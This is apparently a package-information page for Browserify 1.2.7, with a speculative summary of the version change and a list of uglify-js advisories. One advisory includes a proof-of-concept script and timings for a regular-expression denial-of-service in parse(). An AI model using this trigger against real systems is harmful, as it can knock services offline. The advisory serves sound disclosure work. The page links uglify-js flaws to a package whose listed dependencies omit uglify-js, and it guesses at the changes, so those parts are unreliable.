Browserify, a tool enabling Node.js-style require() in browser environments, saw a version bump from 1.2.6 to 1.2.7 with a release date of July 5th, 2011, just two days after version 1.2.6's release on July 3rd, 2011. Both versions maintain the core functionality of resolving and bundling JavaScript modules for client-side execution. Examining the provided data, the dependency lists remain identical: nub, resolve, commondir, detective, and coffee-script are listed as dependencies, while seq, jade, dnode, jsdom, connect, hashish, backbone, expresso, traverse, and jquery-browserify are listed as devDependencies for both versions.
Developers using Browserify for the first time will find a tool designed for modular JavaScript development within the browser. By allowing use of the require() syntax, Browserify promotes code reusability, organization, and dependency management familiar to Node.js developers. The listed dependencies highlight Browserify's reliance on libraries for resolving module paths (resolve), navigating directory structures (commondir), identifying dependencies within code (detective), and potentially transforming CoffeeScript (coffee-script).
Given the identical dependency lists and the short interval between releases, the changes introduced in Browserify 1.2.7 are likely bug fixes, performance improvements, or minor internal adjustments. Developers already using version 1.2.6 should consider upgrading to 1.2.7 for potentially improved stability and performance.
All the vulnerabilities related to the version 1.2.7 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.